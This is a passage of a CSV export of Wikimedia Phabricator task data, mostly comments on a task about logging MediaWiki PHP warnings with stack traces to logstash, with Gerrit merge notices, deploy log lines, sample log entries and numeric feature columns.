+**Severity**: trivial",Low,25.0,1355431920,1368638967.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tnwafiqbhbl7tln47v6a,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+181584,VisualEditor: Switch over edit-success notice to use the deployed one,"
+
+*** This bug has been marked as a duplicate of bug 39632 ***",,,1368638967,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tnwafiqbhbl7tln47v6a,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+45086,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"//This task is about PHP errors, for fatals, see T89169.//
+
+-------
+
+Although we get PHP warnings in the apache syslogs, we don't really get much information about it:
+
+Dec 13 18:30:43 10.0.11.48 apache2[9987]: PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usr/local/apache/common-local/php-1.21wmf6/extensions/FundraiserLandingPage/FundraiserLandingPage.php on line 96
+Dec 13 18:30:43 10.0.2.198 apache2[24462]: PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usr/local/apache/common-local/php-1.21wmf6/extensions/FundraiserLandingPage/FundraiserLandingPage.php on line 96
+
+We could do with recording more information (to a different log file on fluorine), like we do for both the fatal log and the exception logs
+
+-------
+
+Patches: <https://gerrit.wikimedia.org/r/#/q/message:T45086>
+
+Checklist:
+
+* [x] Improve de-duplication and message counting by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895
+* [x] Introduce $wgPropagateErrors to avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
+* [x] Enable $wgPropagateErrors in Beta Cluster. https://gerrit.wikimedia.org/r/c/409171/
+* [x] Enable $wgPropagateErrors in production Cluster.
+* [x] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
+",Low,25.0,1355424060,1551732531.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_description,resolved,True,c1,1,False,False,False,-29,,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+1236829,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Nice! That concludes a multiple years project :-],,,1551739179,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,296,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+1236761,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Thanks for pushing this through the finish line @Krinkle!,,,1551733519,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,296,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0
+1236693,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 494042 **merged** by Herron:
+[operations/puppet@production] logstash: Remove filter for unused 'exception-json' channel
+
+[[https://gerrit.wikimedia.org/r/494042]]",,,1551729558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,296,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+1235878,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 494042 had a related patch set uploaded (by Krinkle; owner: Krinkle):
+[operations/puppet@production] logstash: Remove filter for unused 'exception-json' channel
+
+[[https://gerrit.wikimedia.org/r/494042]]",,,1551628735,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,295,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+1160371,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Pushing back. But would be nice to finish up at some point, but not now. To anyone else that happens to run into it: feel free to take it.",,,1539744093,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,276,,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+1160370,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Last remaining check box:
+
+> [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`.",,,1539743995,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,276,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+1159520,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"I wasn't aware of `$wgPropagateErrors`, indeed we no more need errors to be spurts to HHVM stdout (which is `type:hhvm`).  That is a nice improvement to the logging and tracking errors :]",,,1539675476,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,276,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+1158432,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWZvyp40zCcrHSwq9kpb} [2018-10-13T23:37:21Z] <krinkle@deploy1001> Synchronized wmf-config/InitialiseSettings.php: T45086 - I4857e8ac (duration: 00m 51s)",,,1539473842,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,275,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1158430,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 423338 **merged** by jenkins-bot:
+[operations/mediawiki-config@master] Set $wgPropagateErrors to false in production
+
+[[https://gerrit.wikimedia.org/r/423338]]",,,1539473248,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,275,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1119257,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@Tgr Yeah, take of small chunk of say 2 hours and then correlate as you describe. Keep in mind that T200960 was/is causing serious loss of data all over the place, including between these two channels. It's close to being fixed, so best to look at [Grafana](https://grafana.wikimedia.org/dashboard/db/logstash?orgId=1) and find a comfortable period of time range where there was 0 packet loss (which until last week, was never).",,,1533749486,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,266,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1
+1060378,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Hm, not sure why I didn't find it. Thanks Krinkle.
+
+What would be the next step here? Get a full list of all `type:hhvm` errors, filter out the ones which are also found in `type:mediawiki channel:error`, make sure that the rest are not propagated PHP errors, then enable `$wgPropagateError` in production?",,,1525164989,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,252,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+1060323,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#4166452, @Tgr wrote:
+> Seems like some PHP errors are only logged in the HHVM channel (T193339). Not sure whether they end up there with a mechanism that $wgPropagateError would affect.
+
+At T193339, the following sample is referenced from `type:hhvm`:
+
+```
+2018-04-29T09:25:59
+t  _type	hhvm
+t  host	mw1315
+t  level	NOTICE
+t  message	Notice: Undefined index: 0 in /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php on line 1498
+```
+
+Looking in `type:mediawiki` (dashboard ""mediawiki-errors"" with INFO and DEBUG un-disabled) I do find the same error trending
+
+```name=Trending
+Count: 16,672
+Message:
+[{exception_id}] {exception_url} ErrorException from line 1498 of /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php: PHP Notice: Undefined index: 0  	
+```
+
+And the exact duplicate (based on timestamp, host and message):
+<https://logstash.wikimedia.org/app/kibana#/doc/logstash-*/logstash-2018.04.29/mediawiki?id=AWMQuSfhpesmgM3l0MzT&_g=h@b6494f7>
+
+```name=Sample,lines=10
+@timestamp	2018-04-29T09:25:59
+t  _type	mediawiki
+t  host		mw1315
+t  level	INFO
+t  server	ar.wikipedia.org
+t  url		/w/api.php
+[..]
+t  exception.message	PHP Notice: Undefined index: 0
+t  exception.trace	#0 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php(1498): MWExceptionHandler::handleError(integer, string, string, integer, array, array)
+#1 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php(955): AbuseFilter::takeConsequenceAction(string, array, Title, AbuseFilterVariableHolder, string, integer)
+#2 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php(1105): AbuseFilter::executeFilterActions(array, Title, AbuseFilterVariableHolder)
+#3 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilterHooks.php(119): AbuseFilter::filterAction(AbuseFilterVariableHolder, Title)
+#4 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilterHooks.php(52): AbuseFilterHooks::filterEdit(RequestContext, WikitextContent, string, Status, string, boolean)
+#5 /srv/mediawiki/php-1.32.0-wmf.1/includes/Hooks.php(177): AbuseFilterHooks::onEditFilterMergedContent(RequestContext, WikitextContent, Status, string, User, boolean)
+#6 /srv/mediawiki/php-1.32.0-wmf.1/includes/Hooks.php(205): Hooks::callHook(string, array, array, NULL)
+#7 /srv/mediawiki/php-1.32.0-wmf.1/includes/EditPage.php(1679): Hooks::run(string, array)
+#8 /srv/mediawiki/php-1.32.0-wmf.1/includes/EditPage.php(1998): EditPage->runPostMergeFilters(WikitextContent, Status, User)
+#9 /srv/mediawiki/php-1.32.0-wmf.1/includes/EditPage.php(1506): EditPage->internalAttemptSave(NULL, boolean)
+#10 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiEditPage.php(392): EditPage->attemptSave(NULL)
+#11 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(1579): ApiEditPage->execute()
+#12 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(504): ApiMain->executeAction()
+#13 /srv/mediawiki/php-1.32.0-wmf.1/extensions/VisualEditor/includes/ApiVisualEditorEdit.php(69): ApiMain->execute()
+#14 /srv/mediawiki/php-1.32.0-wmf.1/extensions/VisualEditor/includes/ApiVisualEditorEdit.php(382): ApiVisualEditorEdit->saveWikitext(Title, string, array)
+#15 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(1579): ApiVisualEditorEdit->execute()
+#16 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(535): ApiMain->executeAction()
+#17 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(506): ApiMain->executeActionWithErrorHandling()
+#18 /srv/mediawiki/php-1.32.0-wmf.1/api.php(83): ApiMain->execute()
+#19 /srv/mediawiki/w/api.php(3): include(string)
+#20 {main}
+```",,,1525143540,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,252,,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+1059380,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Seems like some PHP errors are only logged in the HHVM channel (T193339). Not sure whether they end up there with a mechanism that $wgPropagateError would affect.,,,1524994832,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,251,,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+1042411,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 423338 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
+[operations/mediawiki-config@master] Set $wgPropagateErrors to false in production
+
+[[https://gerrit.wikimedia.org/r/423338]]",,,1522576116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,247,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1011438,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWGLan1EL7tQ11ghvNrW} [2018-02-12T19:07:47Z] <niharika29@tin> Synchronized wmf-config/InitialiseSettings-labs.php: Stop PHP errors from going to the hhvm channel T45086 (duration: 00m 56s)",,,1518462467,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,241,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1011429,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 409171 **merged** by jenkins-bot:
+[operations/mediawiki-config@master] Stop PHP errors from going to the hhvm channel
+
+[[https://gerrit.wikimedia.org/r/409171]]",,,1518462280,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,241,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1009596,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338911 **merged** by jenkins-bot:
+[mediawiki/core@master] Make it possible to not propagate errors to PHP
+
+[[https://gerrit.wikimedia.org/r/338911]]",,,1518130976,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,240,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+1009557,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 409171 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
+[operations/mediawiki-config@master] Stop PHP errors from going to the hhvm channel
+
+[[https://gerrit.wikimedia.org/r/409171]]",,,1518126418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,240,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+926525,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 374895 merged by jenkins-bot:
+[mediawiki/core@master] exception: Support message normalisation for structured logging
+
+[[https://gerrit.wikimedia.org/r/374895]]
+",,,1504804114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+921763,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 374895 had a related patch set uploaded (by Krinkle; owner: Krinkle):
+[mediawiki/core@master] exception: Support message normalisation for structured logging
+
+[[https://gerrit.wikimedia.org/r/374895]]
+",,,1504129234,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,217,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1009482,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:
+
+* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
+ * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
+ * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
+ * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
+ * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
+* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
+ * `exception`: Enabled (to mwlog and to logstash)
+ * `exception-json`: Disabled (to mwlog only)
+ * `error`: Enabled (to mwlog and to logstash)
+ * `error-json`: Disabled
+* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
+ * Augments `channel=exception`
+ * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
+* logstash.wikimedia.org receives:
+ * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
+ * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
+ * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.
+
+Known issues or remaining tasks:
+* **Nothing?** {icon check color=green} **Resolved**?
+
+Checklist (//EDIT: Moved to task description.//)
+",,,1518121066,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,240,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+928602,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:
+
+* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
+ * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
+ * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
+ * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
+ * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
+* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
+ * `exception`: Enabled (to mwlog and to logstash)
+ * `exception-json`: Disabled (to mwlog only)
+ * `error`: Enabled (to mwlog and to logstash)
+ * `error-json`: Disabled
+* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
+ * Augments `channel=exception`
+ * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
+* logstash.wikimedia.org receives:
+ * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
+ * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
+ * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.
+
+Known issues or remaining tasks:
+* **Nothing?** {icon check color=green} **Resolved**?
+
+Clean up or optimisation:
+* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
+* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
+* [x] Fix de-duplication and message counting by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895",,,1505203383,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,219,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+921765,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:
+
+* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
+ * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
+ * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
+ * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
+ * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
+* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
+ * `exception`: Enabled (to mwlog and to logstash)
+ * `exception-json`: Disabled (to mwlog only)
+ * `error`: Enabled (to mwlog and to logstash)
+ * `error-json`: Disabled
+* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
+ * Augments `channel=exception`
+ * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
+* logstash.wikimedia.org receives:
+ * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
+ * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
+ * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.
+
+Known issues or remaining tasks:
+* **Nothing?** {icon check color=green} **Resolved**?
+
+Clean up or optimisation:
+* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
+* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
+* [ ] Fix de-duplication and message counting by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895",,,1504129256,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+921764,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:
+
+* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
